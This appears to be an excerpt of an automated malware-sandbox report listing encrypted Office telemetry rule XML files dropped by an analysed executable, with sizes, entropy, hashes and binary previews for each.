SHA-512:	836506C00B10641A7849606CDDF529992B03657611A12EFEB0D67E7DDD1043228FD427F803AECB0B360B6FA1A82B86521A9126B2133531D4EE5B92F2B1A63679
Malicious:	false
Preview:	<?xml<#d...g..m8K.H......".+..#.{3.Z.U.Oa..K..3.X.....f$.%.r.....>.....{....^...L...D...y7:.8i-9....U5......i.....v.........h..\.P...OP..,.g..._....i.P..c..8...h.c..1.M.....1...2.8.rk....}L......7.._z....T}i..v.s...x.,..W.7'.v.NE<..?.s..Q....:I..k. X..m...Q,....BfQ.:.j..6\..Brw.@....:.Qo..ljrI B...r..].xb....a.......T.'9...I..v.MD.p(-.{Qe...6o.........`...DY-..5..Z....X.nU)....Al...C.....B...N.h..{.Y.......X..?...9..?..y.N....u..Zc....W...)S.k.0..bo.... ...-O.....%.q....kh....^..{=.@h~...#C..s.2.67YX.PwN%`.....6S.3..U,...._...~..dH...>d.>.....n...O.....8........Hq...V}-....6....J..HY....>.A ........%.EyQ..;.Y.+f.@..%.E..;4...............I5.y.`..!..c../mt.c>%..nr..X..A9O8....w1...]."....:.....sk#.=%.G..h.y..&.r..W........R.k...a......I8....n.$..-..a....}_#.....v.L.]W.!`.........E..s..lk.4.Z...'H...(....F..Tf..>,...R.T..+..E.....E`.%m.L!d@.....Ni.,G.J..".Al7.....{..9......W..s..;....}...u.....$.xP.8?1.9....SEH;\|.\...7....im!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.880525577099372
Encrypted:	false
SSDEEP:	48:19B+JAV138sWECcN0WXMaSYXAxsxapV9eR1+6z5zFD:nWAr8nECcN58aSYXz4AR0W5z9
MD5:	4196A09EC669D8A34411ED7BF60E642F
SHA1:	5E20E061F756AFDB02E4C7B4E509B87AFF7F210F
SHA-256:	174EC53477EFA5F7CA5B6F8486F1D3AC9F3338C0EAEC883AE44EB9551AA18482
SHA-512:	5F6A8BB41E9C812533E8DFE159237E513DFE6D60074E5292AF1EE56E70F2F113C4BB7D60609AD6E042CDB0D83D7CBD0AB86BAF60534E0713B08B896A9039D8EE
Malicious:	false
Preview:	<?xml.../T.C!{e!.h9,ujH!K..5.....Jy....s.QPw.6v.............v2...\)x.vA..6.n...8n..L.p,..._..%.....k..\..0.....RB......`-...`.g.]t.DRK.G.-..A...?IX\..J..`dk..w.t"u.).P.. ..z.....]....\|f<.x.......5.5%.A...v..a%..2)r[...8p4'....2....KD......j3c...........b....T.dkm.c... ...Tm*..~....;4.8....X.R.z.k...P..XWL......f.9..A ..-.`.U.u\w......9&....3.....!.i..u.3.m....H.E.w....a.j2.X...j....z...5..1..A....;....w....$.!`m......P.ol......g.........C.....1s8{.B.0....g"...S.rg....p...#.<........C..f...=..Z...t`..%..f...s..........q.\|\|L.....8...l>HWq}...9..M......(.....p.......zjA.'..>pm...3.f.u.C..W.4s.)..3'.......>~.K...0.0...'........L...#.q.\|;E.#.....sg.o}!.\|..A./..`rq..I....=zx.>Q.....9y>U.....8.$.q..`...Y..p.....z.{....0.N.......!.G__qV..2L`M.).o..J. .5..<...0...t...t..I....>F...\|..ldH.}mQR9@ ..4....,.....]Ll.....R.....z..d8.k....{r`...LJW..o....;.R3.d.1.;.M...B..p..)...]b.."...l..)...$.Z<..N.%)... .yJuOT....m..n..ug.+...c....!2.../

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.890569748571297
Encrypted:	false
SSDEEP:	48:TuOX8++b3B46M7PRkspxtIjrJZj+0sN/pFD:TuK851MWcx2PD+p9
MD5:	7F0C7A3E722A3320836E783F49F8B298
SHA1:	979500319ABCC641186B7506C944C6D6E074AC55
SHA-256:	3B8F24A7C8747FACF0E314E7912BF590603696EB8F5EED8F9888722940E8E537
SHA-512:	D42BC97E0B2DE4E9B2094717A8D8D8799AF2975D1DF59A614D0F75BB755B4EE129486B19ED8F1EAA72D17D0E6EAE8EF15D7C6D5765F02883933FAF6B11B91BB4
Malicious:	false
Preview:	<?xmlH..^?vW\|Q.1.o[.c....&=.k.a..\|..O.3..R..y...6 .I.G$.@.a.DpzEW..Y...Q!._..gz.A...N...0...R...?P\...=.....F.l....'..\|$.]...'V.k.o.....F.........S...sNXs...[.Z{X.0n...L...!.......5....}`.+x$U.B.G...?..w-....8MY.I.\|.FJ...;..%}....>.yj9..'.e5.qH.sCio`.Dz8.s#..U..&.1>)....6....`IvW..{w..He......a0....p...2.....M.`.W.k.x.MN{%~.Yd!.......<w*...J.......y.A...Y.....51.,....'....2...{._^....?......pl..T....J.S9EGr..W....8."..#cD]cf];.C.k.?......^....g..S..@]..>>C(...O_1t.[l_....I^.-..6.[...n.7....3.B..1EZ..p).]..:..q....... ...+M.(#....2..L..W3g...)^.#.......>L.I"O.1..bz/.T...t..z.'.....Ob......D.(...!V....~....hlc.6p....H..(...._\.."8L..s!...-...&.H....#.FVaF.C.....b\|.P..q.....m.C....P.4....6..SO..DS'<./..c.z.........}....r..EJ..&3....G,.')..IT%..+...vH.(_..s..OF.}...H..+j.....Be....-.!,.`..W...(.....//(,4.7..^.x..O.&..P..^.^.BtJ.....M.-..2r..q%...B.$%.'..7.q..,o.....X(..U...@.Mt.yMag'...).e'+w[..?.......nf.%...f.%...%...&...4.....<

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.896853754120948
Encrypted:	false
SSDEEP:	48:sV94MW2la4OwPvouf8cKuILEsKnrb7KXKT8qSXoaP6me1k5FD:C24ouf8x2sKrPKXC8Xbze1E9
MD5:	C198DB7F9CD013E72961792FAAB67E03
SHA1:	6BCB10ECC677A1AD2FFEDD7604B70833C2591BA4
SHA-256:	C0781363C2BB9148FEDDD7C0793778AEE22CBCC05420566071201B95FD805424
SHA-512:	01FC3C45C92DBD9F808EDCA179C1D411EF6AF9C108D59DC7BFD38C9B7252E9A130A1D161BE2DEA0388C3132A11761300D0855E1534CF0C5D30D30CAA284138C4
Malicious:	false
Preview:	<?xml.......1....tIJ.6u/..f"...vN..Nr(.?.V....P.z.;I.]ib.y...{.#:..qvr....^.(..2J..\.q"...]..I.G9B..%.-_...{...}.E...T5Y....~....qSKzN.3...\|8F..k..=]...^....o_nU`bYe(....`Q..sS]..Y.......................M..%.9Oz....H..~....FBvoH...ds........Qr....j...t..i....+.......<.....$}...v.Oah......@..]#..~q.R...]\|.i....i5..US.C.(.n."}.....r9z........0..e.=y-.9.5...`]H..z7....k]..uG=).LP.t.5.......K)3...s......z.B....$....~........{.^.7.5...Z...m.....i.....${.m..m.{+y\|]..C...>../....<..J....FR......s1V60..N......6..2._u$.......s.....z\s.<.a.dB.FKO..g....W.k..,14D.+.....4%...W=..{..p(.y.5....2.]tD.?4.A.%.:me......`......P...-rci.BR$F......E...)w..:...A:.KX.8.[..^.~\|.F(..@..bZ...-..Y:.....X.`t4.z.($G@.x.H.m.{.c.xg.\|.go\A..8....N.m......~...p....K?......z.ep.&..(Z....D.....J.{..sWgM._:...9.KL$u.IRO{.[%....2..p\4......`+b.......9....0...mQ....[.U........c........Za.+.iS.#.~7....K..I..Vd..t.lp.Ox..2S....h]`. .-.'h......N..r..3.p5,Z[..e..Y.s.@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8885637822919135
Encrypted:	false
SSDEEP:	48:mY1qX+se9pslREhBa0p6oc3EpBoGe3z0wvGRaK5FD:V1OkrBo0p6wBLyYkYaK59
MD5:	E314EBB6327A3CA0036CC84026B7A32C
SHA1:	493586E8E97CB91994EE6ED9FEE40F0BC6BDFF5F
SHA-256:	069C6771B0CD05118FCFC58E207AE63D0386CBBEEA545F4E4ADF563DF1106935
SHA-512:	BF9488601DEA07B3DCFD92D0634488DF1AD70FA9FE46DE9AA7B1761F1FB6F4206E6872F5687FBBFF73FB90673098197CEB9558B925986475BD2D39349870B5E6
Malicious:	false
Preview:	<?xml+.4.Y....SV..d.F.Q..5..e.._.}..E.<...~8.6.....gtx8......Z..6.4+H....%...q.Jw..X.....jc...y<.....m`.X6.;hT.x.ivj..}'..D...^4.I.$\.B.Y.y..k.'.....nr..P...U.a+....~..vs.V....Z![...Y..\|.n......N.=C.:.M.....wj<.B.....+...Y...^.K.@.0Hy...CFTv.;......:..1.Y..z.K...6\..........3k.!.0..L..g.)..SXY.6...@..Q.......g....o..y,p^f.O.$..."........I.-./=...D......"..~..(.8P....?^....sk...(....8+.L...S#.._.N.3Y.Hc.4....R.7.F.."-......>X/_..Ac.l..c5.....!....._`.....h..:..:h......<..z^..z....d..JB.b..... .jG...t.&..U7..ZA.]....T.$.>.i.I...).I.9...........r....nb...0..b....jw...`!3\.........].P.+.l>o..6../._..zP...q.[HA...}.../y.M.......=....d9.y...."....W...,K.........%<$.~..(..@.AA....ol...].nm..M}......K.....q]>.5?...\..:..$.zv7.?.}F..Z..?~AK........}...<6..l.4,!k..... ..d.....[.u.-............S...$....URu=..o...7...H{.Pk`.ql.e.Wz:.A.S\|7..}....5.-+ w.:.....s,.6..%..~..Y..9....Ea.0.7.4:{...k.%.UI.=d.6.R...1...b......f...9......5.n..xvF...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.862681764969594
Encrypted:	false
SSDEEP:	48:yL0x5rsRmnp+wNt/nZ+vDHp47ePJRytR0hFD:FxBGmnZt/Kw+yLs9
MD5:	F9BB1298E34B5D52A25632BC04A77764
SHA1:	F455F5B17E926110F7CDE16E50D5066056CFA5F9
SHA-256:	6BB24DD7A618F39BACF00B9024272A8C78F0804752E609E55353AA6307A4A5EA
SHA-512:	95050A45ECE9DBAB9EFF2D393A8293079D4978BBE1EB420F5BB6941F082780154EB44A93376998CD73B0DED2FDE7D63E19844451B080FC546B38660100F6356C
Malicious:	false
Preview:	<?xmlWZ$.zq..k...0Q....nD\....`....G...\|.M..i.L.#W>9X....=...<....nv.?d....x .d!.u....P0..Bu.v..i=V.z..E..]...8P..ud..F..6.,.ny....8f...C.KF4O..:..#X.;.;.w.S.`ou.JQ.t......p?.J...y.[....(.Ik....D..$&.b........v.. ..N.Ath..>[.U......=_c.Xl(.[....\.S......4..y4...K.c.>.A/Y.....7..H\....WL...S:..h..o".?b.(....M.$...v.+nK.U..&..kQF.#7........[...jH5V?;Ht..i..q..z#.]V.w...`...K...6..*^.....W:Ap...)%F.7..1.<.[....$.....NY..o...&3:..#. ..........e6.......U.+..d......]........?.Ny.f B....g.Q..4Fk....L..^.o....E..w.....n28..A...\|I..yd#..._....P...D......T.......q..-..7.2..]..I...6w..cA.6...q.O..1;"b...j.)oo..Z.:.ic...../.LAE....d.....eX......).I...l.W...G...X.i....gO..E.6.'4.D....Q.v.jI.\..1b.3bk.7.y..Zs>.&Q..Kfu.32.&].M...Oc.9..2uY...i.1m.Nh....U.....+.Yb#..:.S<g.1L.&W{.>.b.........`..mQ.q.g.t.;.:..Q.k ..W.#...h.S.xa(..](UA)bz.......^.RY.FU...p@.D..-...J.=W..............;.q[...\\|....\.. ...a_..x.....1......wm..H.R.!....a.l.:..>.......Dc..#.&....ur..!...Nz.q.B.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.873109638383416
Encrypted:	false
SSDEEP:	48:9ICi4MDJXncn+Q1qZsV/JzoPYmiGXWf1+AJFD:Wd3cSY/jmnW8c9
MD5:	0460DB09F0610ADD40CC30E8D0AA6DF1
SHA1:	188896D9662CCF3BE6AF6DC5B34D7BBF93273AB8
SHA-256:	95AFE53891CF9FD2DB6F2556947ADD5D8FCF4F649EF7261540F0C21420E72326
SHA-512:	0D0A5C0E15CDD2CC6C91A4ED1B01D9428CE344B45DE449261441D8CC798829A0453E5FB5211D5088A64EB657159F7AE526010466EAB3827E6441F4F8350623EE
Malicious:	false
Preview:	<?xml....(...F.U....Vi.#(.....?HoT...7....r......Z8\|.4#...!....}.O....2.n=%.0..\|..t.BS(J.....".5m....,.sf.4-0$W.....[.e..z...)pCs.A.5.....G..".S..vs..-?.2......qE..u.).Q..=........q.568._..Z..,_.MQ.p.z.D.C.rZ."Q...j.[0{.....,...4s1.kvj...H..\.......6.#+.:Ri....!...W....8.T..b.!e.{.8...e.ZIa.LQ&.}....C.p..7..%m<.t...a3C.%.O.\..".m]..w.........`.uW...nQ...A\.9d.hYO..u..vN.)...n..@.dd...S..\;f^.d..e.;.j8..#.ur..l.q....`6....)..f..R........C..&$........[.A?......6y..n.8..)......z........Rv..,.-..]....r}."..%i......n\|.\n......N...8...{Ky...^e... Q\../z..z.`.....:%....H"v.......e0...e....k..=.u[.N._R...U..._$......a`......Oc.....z..:...[.zG..c./[.xVG..R...,...j..z.........S....VA#..a...=..C..$...?>...}BN"P.w.eg..m.Cg.....d..a.m.H...U..(.4..o.a.0.>.s4.w=\.x.-.H. ......^<..C6Rpx.T.\|.../#B?.....5R.zN........g3..wwz....r..u.......Xt....7}g>^.....m.9.#....l..P.>....3s6h....p.i=...\.2............Xp..g..#...\.C*y...O..S....is..p.....jX..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.888316175842534
Encrypted:	false
SSDEEP:	48:kcNSYqM4p3Q8dUa3j7X14qhN3bweT5gadFD:hS/i2j7X9N3bw3ad9
MD5:	FE023F4E65044D016E317B899746AA11
SHA1:	252723EC35FAE84C9B2167AEC9A3F2E448097082
SHA-256:	E23356EB83DBCA62638A8B2EAC48C83E1EB92167523844188ADAA89E4E10F48B
SHA-512:	616385BB4900A0D6042965732866807DBFC2DF9695724D46FC91885ACFB43DDCC2444483BAF223F588954C20D269E7DEFA535FEABADB65489BDE42E3307270C6
Malicious:	false
Preview:	<?xml.2......Ow]....3\|...KF.t.i..m..?.a..-.g...L...Q5)P.a.Ho..!. X{.w.C.m........&.+...@gX..qq`.NH...>.Oc.1&M...E..Cr\|g.W...bl,....5..q......:.z..s.>=/....ZT$.Q^[...b......{..'\|....^v..@d.z....~.Z...........(....q......(Kn..d....Z....6J..~.# ^E.P[5..(.)M.Q.<..~.x..L...I...(.YV.L.y].......\|.......V.......v.)..........T.~..\U.d....V#.R...].....&..1..r..'.z.2.U..G.t.wv;%<.....Y..L.....k......JgU.E..,..G..i.4.:=.ok[.\.3.Pe..\|...t..G...N......J.....Q.7.Z...n.c.H'_/.4e.)L.uWL.. g....0a..e9..b.}.h...`.<.cA..&i...!XC{M.....g..F.....".j..a.l9....5\"`Q..W.0.;.(.F.j.a....JRyz...IB...k(.....?./.Q?.Y.P.........N...O.pt....$.%.IN.i.E<.V...`. M........R4.........]\|r.3;...)..2..@b......\|&...gYn...J.(..7k=..q....(..d\.z.Q..G.i..93.U......C.....6......5n../a..hDh..@\|-).Z..RuW.Z....O..$l,S?.....,.3J...U"..>\|..M..-.!.#...U.Bs..i...'n_.:...)8$.F..G..\.O........4Nv+{.=.'V....8....o..~..rgP.0.F..g.%....8-......#.)q.:8......{...)kA.T*K'^5.h..+...vB..ct.Bb^c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.87214763808836
Encrypted:	false
SSDEEP:	48:dQvI9JRfkKwNz3D1ptLayu+ftFlxCd/Z6Dll49meFD:awfkrFD1KyPCz6DIme9
MD5:	CB3925A78790F0EBEDECCE6661647AE0
SHA1:	534E40B90B5A1C702138F9717D4B3A335F8E4294
SHA-256:	FE519BEC2311DDA9564F9F0A1C72CE99E2769AE162E785F0D195112807AF54AF
SHA-512:	44A8E6AFD36F8CB01E6FC763B15C5E67847D8F83B2510ACDE7F43C9E8C133E4845193F7C4BDB7C2907FA228D218558EE9EB22D01676717E0FEFC923CAF930E2D
Malicious:	false
Preview:	<?xml....o........&..wVxG.\|.@.\%..v..z;.$.d..`F.P1Jv:....P..>Jq....z...-,.^.r~u>}9%C..T..s..qc....s.2u..p......].........aE.x.A}...R.....!........."..J..GAt%.Ea-+;.0+...X./0....A..~...:@.g=.z.c.^....D(..7.v.e.n.c.......T1T&2.K....L.6..(....&....Khbk?)....H..$a..L46..v1...f.+R+.c.L.D.....mz...GuK..Un]AX.m..E.S...V..])\...v}-..N_C...m.j.Ao.......0.-......fz..b.G.1.y..}..{ps.HB..V.....bM..xc..%.ZM....B....TV...S\..lB'.{.P.......o..\|W..u..."...!."..W.?".O{.}.X.......9G.+.....J..y...oX..jX.....x.....1R......L..3....\.3GOs....'..a.N...c.=C:{.].}..#........r...`..S;.....)........Z[.D.......ML..5G+l...).~...8..F..a...H.4.....A."U.K......(.S.YZH.O?/_J^.>.Uz.$!,u...Nu.b.n...L1...o\|..w..&e?8.b....M...B....q.d..o..I/3n..W.W...K.....p.oR.$.(..{R.w..,p.j...O>...C..n..4.c......}?..h...5x.=.......)....1gi..).M......i.A<.<.3.w!.M...K...p-..B...s"..V...2.m.O..5K..&../...zP.0.I..*.U.u...yukX6.......^.]..#.....O.OfI..}6..r...c\|.{.C.\|...W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.887219263634675
Encrypted:	false
SSDEEP:	48:jabg/4OhspPUqVDYYKrtT3rxIGOp/8CNXfodXKHFD:+u4mwHVeBtOOCSdXKH9
MD5:	A5C097A614807BACDAD5B468F2C13F7B
SHA1:	D356A46EA07E58B928A273C0DA67D351ECA6AED5
SHA-256:	6285882A49B6B8396B694573997E32B4436DACE7604AC994135EA20A5331F2EF
SHA-512:	44C1C3FC16ECCFF79AE029CD3AC7392E4490F6141B32D23545F779FD42BEFA429D632F0CEB07C14B7E889CB21DD4B7D97C49B3EAC96D0B20F613551630E00475
Malicious:	false
Preview:	<?xml....h..%.<T...>.U...'..]T...f.\..".[...m...Q..Nd...2I6 S...uD...I.-....S.......&..../..A,G;..C._....>../....>..p:<..+..a..W..X#R..9.pJ.).v.....^....j....a.4m.Y.p;%8.GV...&.Rs.U3A.8$./`.....J.~.=3....MV.../.s.\.@...kKe.pAYt`f./y..4...8j.fw(..W..c.....}U...j.(.....\<..ar...I...<...X...zPG...E.G"...N...r...#.. EM...66....$..D.j.$.....?...g...CN..v\].S -.........P.....5.S^..I..n.i.....0.....J~W.6..+......h...-..Y<.ye......K.....-.$XBCE\.C..j. .>..Gj.h!cS.$_.s1N..Z..fl.z..9s..b../.[&.B...;..f4_'.K......}..,y3.2.......u.^[..?....Y..X.E..:..E.*.u.pV.#.v.,.4..S...D.Xyb...~$.B5..........O..@....p)._.-...SN.Z..xx......u..'....w..o.S......._.Js.J...BJ....u.n.f..x._..R....p..%..g....C.o..?.....TIY.i.r........xwS..$..V..d?A...\|'...GV..~........n.7.ML.U....}b(...oP"..)Lm6.A.: .I.Vh.$.w.a.n.98.....+...vHmt>..".].....'.ef..S..D?..v.....U.IC.._......>..n._.h+&.l......}I .5Jw..H...j...-..X..Nvl)...i.:chnE....k.M...M..m3...M7.4...D.....^.Z...Nkw".Zq=.(..@..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.894830456666895
Encrypted:	false
SSDEEP:	48:XefYfhmnHsn/ROT79nv6l4bu6hADCE0zXMBVeCETTIjb0+FD:OShwHsn/ROT79nLbu6KDCEMXuMXTTI3h
MD5:	15A3305FB5D011630AA1E884B0E2C3DF
SHA1:	C86E11DE20EC3EAC5EF22E8F499B899B238449B8
SHA-256:	8B72FE02234A841DD08E517A33210C91D573AB0D6D770CEBA65E906E4B759DF7
SHA-512:	B51EC8C1A83D7B68A926DC25E8147BF1F23F75EE2F7F2F4DE54D4DC84359C4795263F027130AE7D62DC0DF41924F3A8E35E4D26FA5427D43AE08F4255265E7DA
Malicious:	false
Preview:	<?xml.xmc}6..Q.5f..#V........Z.Ps.t...#"..m.~n...y.8.;G....).....@..O..S.d.V.!@o..T.2..c.C...$..Q....T...E..'.'.Y.-#.+...'S8.P..r....&o..B.F.-Yk......Uk...`.q.%P.p.j.pm.L.<......5!.t..'.."j...aguM..!.....[N..uF_..i........,.2+.bJ(6E.u`..'S/4o.tG..`Bj.....u.....x].........9<-....Q..:WV..,.\\|pp4pY....4u$....3.0)..m1.%n..MUw....#.9.w.oo<.v.g.C..F...D...v5P5#4........f...2...N.._...?Y.g.=).."$.w....V...RJ....H......Lj.O....I..vw....9.qN. .L..Mb!.K...&..E..H(..+.;...A.Z.W...f%.....1.'....T..%.....'Vn$].?..x.M..A.F......eo{...ls....O...hQ...Jbv...T?H.-..0..E.......V.1...U.`..lTKfDo.$/....Nr.X~....@.....Z}1..$K2.qg...!.......Z..e.9.]b.bQe.X.5.....x......j. .=....G...Qh.}j...I.2...._^.5&.....[....X9.\|k'.3....Nq._...:p...........@..@?9..Y...p}.\y....k.K/._.$...^JZ{.Z....J.....F...yu...N.B..w.z.....d....g.....8-\).?......:m.IZqx:...t...f%.#...w7....:,......Z..S.....p..F....!H......5x:....[...>......._...#.6Y..JX.1..X.QK....^l.[...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.886966642736828
Encrypted:	false
SSDEEP:	24:Nog8TCnPOgB22h2LElO2V9LZKuTGiN8NiDH52C8eioTuiHgOpeadeuylpNVbD:NEo2Wl11JKJNiF20i6uWNptIzXNFD
MD5:	B1DDC3EEBFB53F4A777314B80EE0A101
SHA1:	789BB4B5FB8F8880A2531EBBEAB57B87C4AD6977
SHA-256:	75E0C032A6522E622A0CB6A5389AC15E24EB9F0DF566DF5F3EECD359D12D8B1A
SHA-512:	C75F3748D7715B9041C676A5FF338AF42F01C64467747DF1B6961EDB9741750E0A765EEF699DE054086C6867A308AF93FE8ACA17BFCB3F1338CDF2C0B9C41F47
Malicious:	false
Preview:	<?xml...X_.....3...s.<D.%w:..m.....S...Xeg....$..t..v....\..FY.v(.Ddc.~...K.h..R..V...8-...O}\....".6O..+...S.6....~i..D!~.....,9..^x\..s.d"...z~......A.@..i.1....g9.u..h.>b.,.8.Q...._..K..S.M....&.2[.lH.H1..hD.qQ.h.;..1....4...W.{F.R.>\0. .,X.CQ....NV.68..0...QC......HZ-..2.^@o....E.7<.P^.......}..dcew...[....Q...................sYO.h......@{..rU.U...v..........NL..5O..z8..)r.2..+#+t..1LS...'....~X...{._.2.......A.;....~.(.Ku.`h.......>`.K..k2..2.E....@.x...t.D..ZP...d.....?Sc...k....@.r...X......o[{...`.?....gE....i..V..7.w..........<cf...!..^.P$j...a.y....x{...a!6Vd.N.-^.z..,l.......y.{.$.....+f..`.S.p..<.l..].C.hM.xi....t.......rI6.......Z.....kYsY.1n....Z.-.X.Fo9....)...:.$>f..wg.O....)"8B\..{oK/..-x.W.........'A.p....O.T..`c..r..No...D...e.....E..tB.Z-....s..p$l_D.u..,.R. .uT..%.0../......o........$.R..........x..;.}.o.F>...{.=.}o....7.n.;>..F...w}f.......FB.{2.....b/V....L'v.Lc....I&.6.Q....t...&.{..y..c....{...3V....S...j>\.z..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.889755874780213
Encrypted:	false
SSDEEP:	48:p/toXc44yU4P2Yx7IWftk9FrpVRsZ5fy1FD:9AW4PB6Utk1Yy19
MD5:	64188AAEB06CD6B40B5C931E5DAF0DBD
SHA1:	98E04893FE1D4E418CC5827E7727E91B129ED8F4
SHA-256:	141708F54C0905476AA1D02F8443835021D46700190D5A8B7210AB8F7E4948E3
SHA-512:	2BC87841F9FCFED15992BAF57AFDBEF34C3BC3CCA655839AC330F31C5F06A7298560D82C1A004B52EDF015543F922055E02E7473D71DDA06303D1C78A0DBFBC4
Malicious:	false
Preview:	<?xml..M`..G..^/...!....O:....1.9#S..WPx.h..?..bw.`...c")...i..n.9..g4....@.>.....8.2...z.,..d\|.S/f.....P.4.u...CX.../................WER........(.W.Pqrz....w........i.24..h_?.,.H.......)}hR.l.T..8....1....;.,......3....&B\|,.k....'.f.T.I.e..Q.....njgo...!s.........=...6o5.(o.L..t.1.:o..L.C.t..z..F...SfR....: ....P\|..H..3K.d.....U...'../..7..Zi.<T...\..>..]..wZ]Q....-...X...&#b....<......)...<..gj...g.....;....U...+..ER...1...&-K..].T.r.........F?..!.5..../#.BH.F4.%.)..\f...f";...w..x..e.E&.dOs~...fD?..]..{..(7.......h.;..ET..:..}n.....Oz...{Dc3.....E^._.-g......XF8...jd..Wf...w..4..=.}.f...3.N>%.s....u.....`..Y.H...M.6...k....._N... .<%+...Q.'.#q..h....Lg.A.....m/!.G).\|......-...b...\<..T.h..h.D3U...s. .Mi.(.../]....5p..^X.c..L....._..^gZn.Y.g..Br.....0..'.q.8.>.m..+.`Jg ..a..DY...%.0".....QFb.^..r..x.n.=...a...h...x.r.CJ...f.+(..c.-.......m.....Mg...).+e...8...1...b.....F.3...,.<.~.\..z.......!...`.w.$]...8....K.qrHo....Q..6X....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.881895198947899
Encrypted:	false
SSDEEP:	48:/SmV+dg4J63BycamLUenEIX7O1JCfGBm4tFD:dQdNJEIcam0Ir0JTmO9
MD5:	EA3B2281F48B2CBAD92B56EEEE14A91C
SHA1:	AA25C76556C3A18173249B5E32B2F060A07D3036
SHA-256:	A8E8C74BE58FADF4B6AC103B9798E65AC4604D990B973467C2E7426DD05C1B13
SHA-512:	708F678F22971CAB3817B730B2B3BDAC0BC9A61DCCA37048B181B5DBA86139E47C1D099D0021A71786E7C1948B45CBBE4E946F3102B7FF927AC8B6E62633B0A7
Malicious:	false
Preview:	<?xmlBo..G.T....i.?.7k.t:/.;T..w...5.....\|..jL..N.-....f.. ..jV..sY.....i.vh......(.Rd.G..X....&...T../2..+...)N}.8..K....Y 8.!.S[.f.@d..i..Nm`.fP`..4.'...`..AWM.......k...h-.g.....m........QbR1%.Cv...............hi-.y2..Rb.....-.....1.....7>.....G..v:P.s...iF...2K.pg'..Y..w2.v.]p..f..Ze...V....%....$nxi6.w.>Y.aE8.`...~..f.D...'L..@.E>.u.>...M#.y..j.....B.xl.......(.................Bk.u#...A.=.)o......A........Q......9.. .T($....t..y.t.}.A$..'y......o...L."..[...q.....xu4 .....D.A.....k.K9...@..8.K...X. ..f....C.)vY...\|..LT@.."]Ajw..G..\g........_...q.<.f....U.XE.9p......ou...x.....`....4^.Rz..n...qH..4.E.x....r.3/6.Uc....G.T.4.c..\s+g....R..Q...!!.....5.y&T...aj4.$5..#W.....iCa.l.H...)]....$..mG...iS.#.M.o.,....T8$.;+..?.5T.@d...?(.M...B....E.W@..#9....L.:+...<i......Z...CY`."d.#oZ?I<...Fo...;TR..Uk.....zt..S..8Q.... r.Q.29.:.yy.[.?.T=.I....!/ef.QN..z.H.v.......~.0..........s.7.F[5..h.K\...PD..U...+"...\|.<.;...:.....o.3..+@(.e=(

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.88031988355566
Encrypted:	false
SSDEEP:	48:EzDG6saUYIemFq0A1i0oaVMNFViit27nC7a6FD:AxfIemw3MmsviiIC7a69
MD5:	1D8B5BB6D0C0278BD979FD2D1014034C
SHA1:	88D67DF484E82D875FA547C0AC59196D9F623E0E
SHA-256:	8DF02A0CF96D6AECF778B3A22D517522D1D64DD3BF5E8E903F5E39AD1332AC7B
SHA-512:	000784C1F5256F272F3C3D071140A2BC4AC5F7B27EAE2D5D125EFF01B09AF1C4AF7A5C487E4BAEEAF79E9D17AF4A0266992A2B97F866F13CE085FB5B35840502
Malicious:	false
